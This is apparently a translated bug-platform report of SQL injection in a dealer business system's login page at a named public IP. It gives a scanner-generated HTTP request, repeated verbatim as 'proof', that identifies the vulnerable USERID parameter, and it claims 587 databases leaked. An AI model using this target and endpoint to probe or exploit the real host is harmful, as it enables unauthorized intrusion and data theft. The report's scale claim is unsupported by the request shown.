SQL injection vulnerability on a platform of erie group leaked 587 database data (a large number of APP databases)

SQL injection vulnerability on a platform of erie group leaked 587 database data (a large number of APP databases)

Gift

Detailed description:

http://219.238.206.50:8001/

Dealer Business System

SQL Injection

GET /public/login/login1.asp?USERID={1B1123E1-B310-4113-1B5A-213312284BA6} HTTP/1.1Pragma: no-cacheReferer: http://219.238.206.50:8001/enterprise/list.asp?type=3Acunetix-Aspect: enabledAcunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66cAcunetix-Aspect-Queries: filelist;aspectalertsCookie: ASPSESSIONIDCQQCABAR=FLPNCAHCDEOMGICOFHALEJDDHost: 219.238.206.50:8001Connection: Keep-aliveDontTrackMeHere: gzip,deflateUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)Accept: */*

Proof of vulnerability:

http://219.238.206.50:8001/

Dealer Business System

SQL Injection

GET /public/login/login1.asp?USERID={1B1123E1-B310-4113-1B5A-213312284BA6} HTTP/1.1Pragma: no-cacheReferer: http://219.238.206.50:8001/enterprise/list.asp?type=3Acunetix-Aspect: enabledAcunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66cAcunetix-Aspect-Queries: filelist;aspectalertsCookie: ASPSESSIONIDCQQCABAR=FLPNCAHCDEOMGICOFHALEJDDHost: 219.238.206.50:8001Connection: Keep-aliveDontTrackMeHere: gzip,deflateUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)Accept: */*

Solution:

Filter

Small gift